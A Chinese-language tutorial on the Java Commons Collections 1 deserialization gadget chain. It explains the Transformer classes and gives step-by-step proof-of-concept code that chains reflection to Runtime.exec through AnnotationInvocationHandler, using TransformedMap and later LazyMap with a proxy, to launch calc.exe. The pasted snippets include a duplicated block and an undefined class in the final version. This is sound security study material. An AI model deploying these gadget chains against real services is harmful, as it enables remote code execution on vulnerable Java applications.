java反序列化链学习——Common Collections 1

Common Collections 介绍

Apache Commons 是对 JDK 的拓展，包含了很多开源的⼯具，⽤于办理平常编程经常会遇到的题目。Apache Commons 当中有⼀个组件叫做 Apache Commons Collections，封装了 Java 的 Collection 相关类对象。cc链的利⽤就是以Apache Commons Collections作为链条的核⼼，来构造⼀个终极可以大概进⾏rce的gadget。
核心demo

1. package org.example;
3. import org.apache.commons.collections.Transformer;
4. import org.apache.commons.collections.functors.ChainedTransformer;
5. import org.apache.commons.collections.functors.ConstantTransformer;
6. import org.apache.commons.collections.functors.InvokerTransformer;
7. import org.apache.commons.collections.map.TransformedMap;
8. import java.util.HashMap;
9. import java.util.Map;
11. public class first {
12.     public static void main(String[] args) throws Exception {
13.         Transformer[] transformers = new Transformer[]{
14.                 new ConstantTransformer(Runtime.getRuntime()),
15.                 new InvokerTransformer("exec", new Class[]{String.class},
16.                         new Object[]{"C:\\Windows\\System32\\calc.exe"})
17.         };
18.         Transformer transformerChain = new ChainedTransformer(transformers);
20.         Map innerMap = new HashMap();
21.         Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
22.         outerMap.put("test", "xxxx");
23.     }
24. }

复制代码

TransformedMap

1. //
2. // Source code recreated from a .class file by IntelliJ IDEA
3. // (powered by FernFlower decompiler)
4. //
6. package org.apache.commons.collections.map;
8. import java.io.IOException;
9. import java.io.ObjectInputStream;
10. import java.io.ObjectOutputStream;
11. import java.io.Serializable;
12. import java.util.Iterator;
13. import java.util.Map;
14. import org.apache.commons.collections.Transformer;
16. public class TransformedMap extends AbstractInputCheckedMapDecorator implements Serializable {
17.     private static final long serialVersionUID = 7023152376788900464L;
18.     protected final Transformer keyTransformer;
19.     protected final Transformer valueTransformer;
21.     public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
22.         return new TransformedMap(map, keyTransformer, valueTransformer);
23.     }
25.     public static Map decorateTransform(Map map, Transformer keyTransformer, Transformer valueTransformer) {
26.         TransformedMap decorated = new TransformedMap(map, keyTransformer, valueTransformer);
27.         if (map.size() > 0) {
28.             Map transformed = decorated.transformMap(map);
29.             decorated.clear();
30.             decorated.getMap().putAll(transformed);
31.         }
33.         return decorated;
34.     }
36.     protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
37.         super(map);
38.         this.keyTransformer = keyTransformer;
39.         this.valueTransformer = valueTransformer;
40.     }
42.     private void writeObject(ObjectOutputStream out) throws IOException {
43.         out.defaultWriteObject();
44.         out.writeObject(this.map);
45.     }
47.     private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
48.         in.defaultReadObject();
49.         this.map = (Map)in.readObject();
50.     }
52.     protected Object transformKey(Object object) {
53.         return this.keyTransformer == null ? object : this.keyTransformer.transform(object);
54.     }
56.     protected Object transformValue(Object object) {
57.         return this.valueTransformer == null ? object : this.valueTransformer.transform(object);
58.     }
60.     protected Map transformMap(Map map) {
61.         if (map.isEmpty()) {
62.             return map;
63.         } else {
64.             Map result = new LinkedMap(map.size());
65.             Iterator it = map.entrySet().iterator();
67.             while(it.hasNext()) {
68.                 Map.Entry entry = (Map.Entry)it.next();
69.                 result.put(this.transformKey(entry.getKey()), this.transformValue(entry.getValue()));
70.             }
72.             return result;
73.         }
74.     }
76.     protected Object checkSetValue(Object value) {
77.         return this.valueTransformer.transform(value);
78.     }
80.     protected boolean isSetValueChecking() {
81.         return this.valueTransformer != null;
82.     }
84.     public Object put(Object key, Object value) {
85.         key = this.transformKey(key);
86.         value = this.transformValue(value);
87.         return this.getMap().put(key, value);
88.     }
90.     public void putAll(Map mapToCopy) {
91.         mapToCopy = this.transformMap(mapToCopy);
92.         this.getMap().putAll(mapToCopy);
93.     }
94. }
96. 当我们调用transformedMap.put时
97.     public Object put(Object key, Object value) {
98.         key = this.transformKey(key);
99.         value = this.transformValue(value);
100.         return this.getMap().put(key, value);
101.     }
102. 对于进⼊map的新元素(key,value)，会利⽤keyTransformer对key进⾏处理，并且利⽤
103. valueTransformer对value进⾏处理。继续跟一下这两个方法
104.     protected Object transformKey(Object object) {
105.         return this.keyTransformer == null ? object : this.keyTransformer.transform(object);
106.     }
108.     protected Object transformValue(Object object) {
109.         return this.valueTransformer == null ? object : this.valueTransformer.transform(object);
110.     }

复制代码

终极会调用Transformer对象中的.transform方法
Transformer

Transformer是⼀个接⼝，它只有⼀个待实现的⽅法：
TransformedMap在转换Map的新元素时，就会调⽤Transformer对象的transform⽅法，这个过程就类似在调⽤⼀个“回调参数”。那么，Transformer只是⼀个接⼝，一定要有实现该接⼝的类，我们用到的个类：ConstantTransformer、InvokerTransformer 、ChainedTransformer
ConstantTransformer

先看看代码

1. //
2. // Source code recreated from a .class file by IntelliJ IDEA
3. // (powered by FernFlower decompiler)
4. //
6. package org.apache.commons.collections.functors;
8. import java.io.Serializable;
9. import org.apache.commons.collections.Transformer;
11. public class ConstantTransformer implements Transformer, Serializable {
12.     private static final long serialVersionUID = 6374440726369055124L;
13.     public static final Transformer NULL_INSTANCE = new ConstantTransformer((Object)null);
14.     private final Object iConstant;
16.     public static Transformer getInstance(Object constantToReturn) {
17.         return (Transformer)(constantToReturn == null ? NULL_INSTANCE : new ConstantTransformer(constantToReturn));
18.     }
20.     public ConstantTransformer(Object constantToReturn) {
21.         this.iConstant = constantToReturn;
22.     }
24.     public Object transform(Object input) {
25.         return this.iConstant;
26.     }
28.     public Object getConstant() {
29.         return this.iConstant;
30.     }
31. }

复制代码

它的过程就是在构造函数的时候传⼊⼀个对象，并在transform⽅法将这个对象再返回。
InvokerTransformer

代码：

1. //
2. // Source code recreated from a .class file by IntelliJ IDEA
3. // (powered by FernFlower decompiler)
4. //
6. package org.apache.commons.collections.functors;
8. import java.io.Serializable;
9. import java.lang.reflect.InvocationTargetException;
10. import java.lang.reflect.Method;
11. import org.apache.commons.collections.FunctorException;
12. import org.apache.commons.collections.Transformer;
14. public class InvokerTransformer implements Transformer, Serializable {
15.     private static final long serialVersionUID = -8653385846894047688L;
16.     private final String iMethodName;
17.     private final Class[] iParamTypes;
18.     private final Object[] iArgs;
20.     public static Transformer getInstance(String methodName) {
21.         if (methodName == null) {
22.             throw new IllegalArgumentException("The method to invoke must not be null");
23.         } else {
24.             return new InvokerTransformer(methodName);
25.         }
26.     }
28.     public static Transformer getInstance(String methodName, Class[] paramTypes, Object[] args) {
29.         if (methodName == null) {
30.             throw new IllegalArgumentException("The method to invoke must not be null");
31.         } else if (paramTypes == null && args != null || paramTypes != null && args == null || paramTypes != null && args != null && paramTypes.length != args.length) {
32.             throw new IllegalArgumentException("The parameter types must match the arguments");
33.         } else if (paramTypes != null && paramTypes.length != 0) {
34.             paramTypes = (Class[])((Class[])paramTypes.clone());
35.             args = (Object[])((Object[])args.clone());
36.             return new InvokerTransformer(methodName, paramTypes, args);
37.         } else {
38.             return new InvokerTransformer(methodName);
39.         }
40.     }
42.     private InvokerTransformer(String methodName) {
43.         this.iMethodName = methodName;
44.         this.iParamTypes = null;
45.         this.iArgs = null;
46.     }
48.     public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
49.         this.iMethodName = methodName;
50.         this.iParamTypes = paramTypes;
51.         this.iArgs = args;
52.     }
54.     public Object transform(Object input) {
55.         if (input == null) {
56.             return null;
57.         } else {
58.             try {
59.                 Class cls = input.getClass();
60.                 Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
61.                 return method.invoke(input, this.iArgs);
62.             } catch (NoSuchMethodException var4) {
63.                 throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
64.             } catch (IllegalAccessException var5) {
65.                 throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
66.             } catch (InvocationTargetException var6) {
67.                 InvocationTargetException ex = var6;
68.                 throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
69.             }
70.         }
71.     }
72. }

复制代码

这个类的transform方法可以执行恣意方法，第一个参数是方法名，第二个参数是参数列表的参数范例，第三个参数是传给这个函数的参数列表使用下面这几行代码，通过反射的方式来执行恣意代码，达到rce的目标

1. Class cls = input.getClass();
2. Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
3. return method.invoke(input, this.iArgs);

复制代码

ChainedTransformer

它的作⽤是将内部的多个Transformer串在⼀起。

1. //
2. // Source code recreated from a .class file by IntelliJ IDEA
3. // (powered by FernFlower decompiler)
4. //
6. package org.apache.commons.collections.functors;
8. import java.io.Serializable;
9. import java.util.Collection;
10. import java.util.Iterator;
11. import org.apache.commons.collections.Transformer;
13. public class ChainedTransformer implements Transformer, Serializable {
14.     private static final long serialVersionUID = 3514945074733160196L;
15.     private final Transformer[] iTransformers;
17.     public static Transformer getInstance(Transformer[] transformers) {
18.         FunctorUtils.validate(transformers);
19.         if (transformers.length == 0) {
20.             return NOPTransformer.INSTANCE;
21.         } else {
22.             transformers = FunctorUtils.copy(transformers);
23.             return new ChainedTransformer(transformers);
24.         }
25.     }
27.     public static Transformer getInstance(Collection transformers) {
28.         if (transformers == null) {
29.             throw new IllegalArgumentException("Transformer collection must not be null");
30.         } else if (transformers.size() == 0) {
31.             return NOPTransformer.INSTANCE;
32.         } else {
33.             Transformer[] cmds = new Transformer[transformers.size()];
34.             int i = 0;
36.             for(Iterator it = transformers.iterator(); it.hasNext(); cmds[i++] = (Transformer)it.next()) {
37.             }
39.             FunctorUtils.validate(cmds);
40.             return new ChainedTransformer(cmds);
41.         }
42.     }
44.     public static Transformer getInstance(Transformer transformer1, Transformer transformer2) {
45.         if (transformer1 != null && transformer2 != null) {
46.             Transformer[] transformers = new Transformer[]{transformer1, transformer2};
47.             return new ChainedTransformer(transformers);
48.         } else {
49.             throw new IllegalArgumentException("Transformers must not be null");
50.         }
51.     }
53.     public ChainedTransformer(Transformer[] transformers) {
54.         this.iTransformers = transformers;
55.     }
57.     public Object transform(Object object) {
58.         for(int i = 0; i < this.iTransformers.length; ++i) {
59.             object = this.iTransformers[i].transform(object);
60.         }
62.         return object;
63.     }
65.     public Transformer[] getTransformers() {
66.         return this.iTransformers;
67.     }
68. }

复制代码

我们看到它的初始化输⼊是⼀个Transformer数组，然后通过循环调⽤的⽅式来讲全部的Transformer都执⾏了⼀遍，并且每⼀个Transformer的输⼊是上⼀个Transformer执⾏了transform⽅法的结果。实现链式调用。
对demo的理解

我们创建了一个ChainedTransformer，它是一个链式调用，当被调用时，会按次序执行两个Transformer：先调用ConstantTransformer，返回了一个Runtime对象，然后这个对象被当作参数，传入InvokerTransformer的transformer方法，用来执行Runtime的exec方法，参数是计算器的地址，实现rce
现在只是创建了一个Transformer，并没有被调用，我们必要将Transformer绑定到TransformerMap，并且执行put（被添加新元素）时才会被调用。
Demo1

上方demo中我们手动给TransformerMap添加元素，但现实场景中没人帮我们执行该操作，我们必要找一个类，它的readObject方法中存在给Map增加新元素的操作这个类就是：sun.reflect.annotation.AnnotationInvocationHandler，这是⼀个java的原⽣类它的构造函数：

1. AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
2.     this.type = type;
3.     this.memberValues = memberValues;
4. }
5. readObject：
6. private void readObject(java.io.ObjectInputStream s)
7.         throws java.io.IOException, ClassNotFoundException {
8.     s.defaultReadObject();
10.     // Check to make sure that types have not evolved incompatibly
11.     AnnotationType annotationType = null;
12.     try {
13.         annotationType = AnnotationType.getInstance(type);
14.     } catch (IllegalArgumentException e) {
15.         // Class is no longer an annotation type; all bets are off
16.         return;
17.     }
19.     // 获取注解成员类型
20.     Map<String, Class<?>> memberTypes = annotationType.memberTypes();
22.     // 遍历 memberValues 并检查类型是否匹配
23.     for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
24.         String name = memberValue.getKey();
25.         Class<?> memberType = memberTypes.get(name);
27.         if (memberType != null) { // 如果成员仍然存在
28.             Object value = memberValue.getValue();
30.             // 检查值是否为成员类型或其异常代理
31.             if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) {
32.                 // 触发类型不匹配异常代理
33.                 memberValue.setValue(
34.                         new AnnotationTypeMismatchExceptionProxy(
35.                                 value.getClass() + "[" + value + "]"
36.                         ).setMember(
37.                                 annotationType.members().get(name)
38.                         )
39.                 );
40.             }
41.         }
42.     }
43. }

复制代码

我们只要将memberValues设置成我们构造的TransformerMap对象，然后会触发memberValue.setValue，进而触发我们构造的Transformer
sun.reflect.annotation.AnnotationInvocationHandler对象是一个内部类，我们没办法直接New出来，可以使用反射的方式
garget1：

1. package org.example;
3. import org.apache.commons.collections.Transformer;
4. import org.apache.commons.collections.functors.ChainedTransformer;
5. import org.apache.commons.collections.functors.ConstantTransformer;
6. import org.apache.commons.collections.functors.InvokerTransformer;
7. import org.apache.commons.collections.map.TransformedMap;
9. import java.io.*;
10. import java.lang.annotation.Retention;
11. import java.lang.reflect.Constructor;
12. import java.util.HashMap;
13. import java.util.Map;
15. public class CommonCollections11 {
16.     public static void main(String[] args) throws Exception {
17.         // FileOutputStream fout = new FileOutputStream("user.bin");
18.         // fout.write(serializeData);
19.         // fout.close();
21.         byte[] evilData = serialize(cc1("C:\\Windows\\System32\\calc.exe"));
22.         unserialize(evilData);
23.     }
25.     // 将对象序列化成字节流
26.     public static byte[] serialize(final Object obj) throws Exception {
27.         ByteArrayOutputStream btout = new ByteArrayOutputStream();
28.         ObjectOutputStream objOut = new ObjectOutputStream(btout);
29.         objOut.writeObject(obj);
30.         return btout.toByteArray();
31.     }
33.     // 将字节流反序列化成对象
34.     public static Object unserialize(final byte[] serialized) throws Exception {
35.         ByteArrayInputStream btin = new ByteArrayInputStream(serialized);
36.         ObjectInputStream objIn = new ObjectInputStream(btin);
37.         return objIn.readObject();
38.     }
40.     static Object cc1(String args) throws Exception {
41.         Transformer[] transformers = new Transformer[]{
42.                 new ConstantTransformer(Runtime.getRuntime()), // 这一步会在序列化前生成一个Runtime对象
43.                 new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{args})
44.         };
45.         Transformer transformerChain = new ChainedTransformer(transformers);
47.         Map innerMap = new HashMap();
48.         Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
50.         Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); // 拿到类的句柄
51.         Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class); // 拿到类的构造方法
52.         constructor.setAccessible(true); // 去掉Java语法安全检查
53.         Object obj = constructor.newInstance(Retention.class, outerMap); // 创建一个AnnotationInvocationHandler对象
55.         return obj;
56.     }
57. }

复制代码

它在编译的时候发生错误

Demo2

出现错误是因为，java.lang.Runtime⽆法序列化
Java中不是全部对象都⽀持序列化，待序列化的对象和全部它使⽤的内部属性对象，必须都
实现了 java.io.Serializable 接⼝。⽽我们最早传给ConstantTransformer的 是
Runtime.getRuntime() ，Runtime类是没有实现 java.io.Serializable 接⼝的，所以不答应被序
列化。
还是通过反射的方式来办理

1. Method f = Runtime.class.getMethod("getRuntime");
2. Runtime r = (Runtime) f.invoke(null);
3. r.exec("C:\\Windows\\System32\\calc.exe");

复制代码

先通过Runtime.class构造出⼀个Runtime的对象（对象范例为Class），然后执⾏该对象的getMethod⽅法，参数是"getRuntime"，这样就会得到⼀个反射的Method对象。
然后执⾏这个Runtime对象的Invoke⽅法，这样就会在运⾏时得到⼀个java.lang.Runtime对象（序列化时没有），终极执⾏exec⽅法，参数是要rce执⾏的下令。
然后，我们构造出⼀个新的poc

1. package org.example;
3. import org.apache.commons.collections.Transformer;
4. import org.apache.commons.collections.functors.ChainedTransformer;
5. import org.apache.commons.collections.functors.ConstantTransformer;
6. import org.apache.commons.collections.functors.InvokerTransformer;
7. import org.apache.commons.collections.map.TransformedMap;
9. import java.io.*;
10. import java.lang.annotation.Retention;
11. import java.lang.reflect.Constructor;
12. import java.util.HashMap;
13. import java.util.Map;
15. public class CommonCollections12 {
16.     public static void main(String[] args) throws Exception {
17.         byte[] evilData = serialize(cc1("C:\\Windows\\System32\\calc.exe"));
18.         unserialize(evilData);
19.     }
21.     // 将对象序列化成字节流
22.     public static byte[] serialize(final Object obj) throws Exception {
23.         ByteArrayOutputStream btout = new ByteArrayOutputStream();
24.         ObjectOutputStream objOut = new ObjectOutputStream(btout);
25.         objOut.writeObject(obj);
26.         return btout.toByteArray();
27.     }
29.     // 将字节流反序列化成对象
30.     public static Object unserialize(final byte[] serialized) throws Exception {
31.         ByteArrayInputStream btin = new ByteArrayInputStream(serialized);
32.         ObjectInputStream objIn = new ObjectInputStream(btin);
33.         return objIn.readObject();
34.     }
36.     static Object cc1(String args) throws Exception {
37.         // 构造 Transformer 链
38.         Transformer[] transformers = new Transformer[]{
39.                 new ConstantTransformer(Runtime.class),
40.                 new InvokerTransformer(
41.                         "getMethod",
42.                         new Class[]{String.class, Class[].class},
43.                         new Object[]{"getRuntime", new Class[0]}
44.                 ),
45.                 new InvokerTransformer(
46.                         "invoke",
47.                         new Class[]{Object.class, Object[].class},
48.                         new Object[]{null, new Object[0]}
49.                 ),
50.                 new InvokerTransformer(
51.                         "exec",
52.                         new Class[]{String.class},
53.                         new Object[]{args}
54.                 )
55.         };
56.         Transformer transformerChain = new ChainedTransformer(transformers);
58.         // 使用 TransformedMap 装饰器绑定转换链
59.         Map innerMap = new HashMap();
60.         Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
62.         // 反射构造 AnnotationInvocationHandler 对象
63.         Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
64.         Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
65.         constructor.setAccessible(true); // 绕过访问检查
66.         return constructor.newInstance(Retention.class, outerMap);
67.     }
68. }

复制代码

编译没题目，但是没有弹计算机
Demo3

AnnotationInvocationHandler的代码

1. private void readObject(java.io.ObjectInputStream s)
2.     throws java.io.IOException, ClassNotFoundException {
3.     s.defaultReadObject();
4.     // Check to make sure that types have not evolved incompatibly
5.     AnnotationType annotationType = null;
6.     try {
7.         annotationType = AnnotationType.getInstance(type);
8.     } catch (IllegalArgumentException e) {
9.         // Class is no longer an annotation type; all bets are off
10.         return;
11.     }
12.     Map<String, Class<?>> memberTypes = annotationType.memberTypes();
13.     for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { // memberValue来自于memberValues的遍历迭代
14.         String name = memberValue.getKey();
15.         Class<?> memberType = memberTypes.get(name);
16.         if (memberType != null) { // i.e. member still exists
17.             Object value = memberValue.getValue();
18.             if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) {
19.                 memberValue.setValue( // 目的是触发这里
20.                     new AnnotationTypeMismatchExceptionProxy(
21.                         value.getClass() + "[" + value + "]"
22.                     ).setMember(annotationType.members().get(name))
23.                 );
24.             }
25.         }
26.     }
27. }

复制代码

如果memberValues是⼀个空的map，那么这个for的遍历就不会执⾏，所以我们需
要预先给Map进⾏值的插⼊。

1. String name = memberValue.getKey(); //Map可控，所以key可控
2. Class<?> memberType = memberTypes.get(name);
3. if (memberType != null) { //!要求在memberType中也有这个key
4. ...
5. }

复制代码

1. memberTypes：
2. AnnotationType annotationType = null;
3. try {
4.     annotationType = AnnotationType.getInstance(type);
5. } catch (IllegalArgumentException e) {
6.     // Class is no longer an annotation type; all bets are off
7.     return;
8. }
10. Map<String, Class<?>> memberTypes = annotationType.memberTypes();
12. public class AnnotationType {
13.     /*
14.     ...
15.     ...
16.     ...
17.     */
18.     public static synchronized AnnotationType getInstance(
19.         Class<? extends Annotation> annotationClass) {
20.         AnnotationType result = sun.misc.SharedSecrets.getJavaLangAccess()
21.             .getAnnotationType(annotationClass);
22.         if (result == null)
23.             result = new AnnotationType(annotationClass);
24.         return result;
25.     }
27.     private AnnotationType(final Class<? extends Annotation> annotationClass) {
28.         if (!annotationClass.isAnnotation())
29.             throw new IllegalArgumentException("Not an annotation type");
31.         Method[] methods = AccessController.doPrivileged(new PrivilegedAction<Method[]>() {
32.             public Method[] run() {
33.                 // Initialize memberTypes and defaultValues
34.                 return annotationClass.getDeclaredMethods();
35.             }
36.         });
38.         for (Method method : methods) {
39.             if (method.getParameterTypes().length != 0)
40.                 throw new IllegalArgumentException(method + " has params");
41.             String name = method.getName();
42.             Class<?> type = method.getReturnType();
43.             memberTypes.put(name, invocationHandlerReturnType(type));
44.             members.put(name, method);
45.         Method[] methods = AccessController.doPrivileged(new PrivilegedAction<Method[]>() {
46.             public Method[] run() {
47.                 // Initialize memberTypes and defaultValues
48.                 return annotationClass.getDeclaredMethods();
49.             }
50.         });
52.         for (Method method : methods) {
53.             if (method.getParameterTypes().length != 0)
54.                 throw new IllegalArgumentException(method + " has params");
55.             String name = method.getName();
56.             Class<?> type = method.getReturnType();
57.             memberTypes.put(name, invocationHandlerReturnType(type));
58.             members.put(name, method);
59.             Object defaultValue = method.getDefaultValue();
60.             if (defaultValue != null)
61.                 memberDefaults.put(name, defaultValue);
63.             members.put(name, method);
64.         }
66.         sun.misc.SharedSecrets.getJavaLangAccess()
67.             .setAnnotationType(annotationClass, this);
68.         if (annotationClass != Retention.class && annotationClass != Inherited.class) {
69.             Retention ret = annotationClass.getAnnotation(Retention.class);
70.             retention = (ret == null ? RetentionPolicy.CLASS : ret.value());
71.             inherited = annotationClass.isAnnotationPresent(Inherited.class);
72.         }
73.     }
74. }

复制代码

就是检查输⼊的参数，是不是⼀个注解类，如果不是就会报错。
所以我们这⾥要求第⼀个参数必须是⼀个注解类。
annotationClass.isAnnotation()
这⾥会通过反射的⽅式，获取该注解类全部的⽅法
然后再将全部的⽅法名塞给memberTypes这个Map
⽽我们这⾥要获取的就是memberTypes

1.         Method[] methods = AccessController.doPrivileged(new PrivilegedAction<Method[]>() {
2.             public Method[] run() {
3.                 // Initialize memberTypes and defaultValues
4.                 return annotationClass.getDeclaredMethods();
5.             }
6.         });
8.         for (Method method : methods) {
9.             if (method.getParameterTypes().length != 0)
10.                 throw new IllegalArgumentException(method + " has params");
11.             String name = method.getName();
12.             Class<?> type = method.getReturnType();
13.             memberTypes.put(name, invocationHandlerReturnType(type));
14.             members.put(name, method);

复制代码

对于sun.reflect.annotation.AnnotationInvocationHandler这个类的构造函数,我们必要找到⼀个参数type，它必须满⾜

1. 1.是⼀个类对象
2. 2.该类是⼀个注解类
3. 3.该类⾄少存在⼀个⽅法

复制代码

终极我们找到了Retention类，他是⼀个注解类，他有⼀个⽅法，叫做value.
Demo3：
这个版本可以弹计算器

1. package org.example;
3. import org.apache.commons.collections.Transformer;
4. import org.apache.commons.collections.functors.ChainedTransformer;
5. import org.apache.commons.collections.functors.ConstantTransformer;
6. import org.apache.commons.collections.functors.InvokerTransformer;
7. import org.apache.commons.collections.map.TransformedMap;
9. import java.io.*;
10. import java.lang.annotation.Retention;
11. import java.lang.reflect.Constructor;
12. import java.util.HashMap;
13. import java.util.Map;
15. public class CommonCollections13 {
16.     public static void main(String[] args) throws Exception {
17.         // FileOutputStream fout = new FileOutputStream("user.bin");
18.         // fout.write(serializeData);
19.         // fout.close();
21.         byte[] evilData = serialize(cc1("C:\\Windows\\System32\\calc.exe"));
22.         unserialize(evilData);
23.     }
25.     // 将对象序列化成字节流
26.     public static byte[] serialize(final Object obj) throws Exception {
27.         ByteArrayOutputStream btout = new ByteArrayOutputStream();
28.         ObjectOutputStream objOut = new ObjectOutputStream(btout);
29.         objOut.writeObject(obj);
30.         return btout.toByteArray();
31.     }
33.     // 将字节流反序列化成对象
34.     public static Object unserialize(final byte[] serialized) throws Exception {
35.         ByteArrayInputStream btin = new ByteArrayInputStream(serialized);
36.         ObjectInputStream objIn = new ObjectInputStream(btin);
37.         return objIn.readObject();
38.     }
40.     static Object cc1(String args) throws Exception {
41.         Transformer[] transformers = new Transformer[]{
42.                 new ConstantTransformer(Runtime.class),
43.                 new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
44.                 new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
45.                 new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{args})
46.         };
48.         Transformer transformerChain = new ChainedTransformer(transformers);
49.         Map innerMap = new HashMap();
50.         innerMap.put("value", "XXXXXXX");
51.         Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
53.         Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); // 拿到类的句柄
54.         Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class); // 拿到类的构造方法
55.         constructor.setAccessible(true); // 去掉 Java 语法安全检查
56.         Object obj = constructor.newInstance(Retention.class, outerMap); // 创建一个 AnnotationInvocationHandler 对象
57.         return obj;
58.     }
59. }

复制代码

Demo4

ysoserial⾥⾯的cc1链，没有使用TransforMap，而是使用了LazyMap,LazyMap在添加元素的时候不会执⾏transform的逻辑，⽽是在get的时候，有⼀个transform的动作。
在invoke⽅法⾥⾯，是有get的,如何从readObject跳到invoke呢？ysoserial的作者想到的是利⽤java的对象代理。
在java中，如果我们调⽤了别⼈的sdk，⼜觉得别⼈的sdk⾥⾯的某个代码写得欠好，java不建
议直接修改sdk代码，⽽是提供了⼀种叫做代理的设计模式。
终极garget：

1. public class CommonCollections1 {
2.     public static void main(String[] args) throws Exception {
3.         // FileOutputStream fout = new FileOutputStream("user.bin");
4.         // fout.write(serializeData);
5.         // fout.close();
7.         byte[] evilData = serialize(cc1("C:\\\\Windows\\\\System32\\\\calc.exe"));
8.         unserialize(evilData);
9.     }
11.     // 将对象序列化成字节流
12.     public static byte[] serialize(final Object obj) throws Exception {
13.         ByteArrayOutputStream btout = new ByteArrayOutputStream();
14.         ObjectOutputStream objOut = new ObjectOutputStream(btout);
15.         objOut.writeObject(obj);
16.         return btout.toByteArray();
17.     }
19.     // 将字节流反序列化成对象
20.     public static Object unserialize(final byte[] serialized) throws Exception {
21.         ByteArrayInputStream btin = new ByteArrayInputStream(serialized);
22.         ObjectInputStream objIn = new ObjectInputStream(btin);
23.         return objIn.readObject();
24.     }
26.     static Object cc1(String args) throws Exception {
27.         Transformer[] transformers = new Transformer[] {
28.                 new ConstantTransformer(Runtime.class),
29.                 new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
30.                 new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
31.                 new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { args })
32.         };
34.         Transformer transformerChain = new ChainedTransformer(transformers);
35.         Map innerMap = new HashMap();
36.         innerMap.put("hidden", "fuckdada");
37.         Map outerMap = LazyMap.decorate(innerMap, transformerChain);
39.         Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
40.         Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
41.         constructor.setAccessible(true);
43.         InvocationHandler handler = (InvocationHandler) constructor.newInstance(Probe.class, outerMap);
44.         Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] { Map.class }, handler);
46.         Object obj = constructor.newInstance(Probe.class, proxyMap);
47.         return obj;
48.     }

复制代码

免责声明：如果侵犯了您的权益，请联系站长，我们会及时删除侵权内容，谢谢合作！更多信息从访问主页：qidao123.com:ToB企服之家，中国第一个企服评测及商务社交产业平台。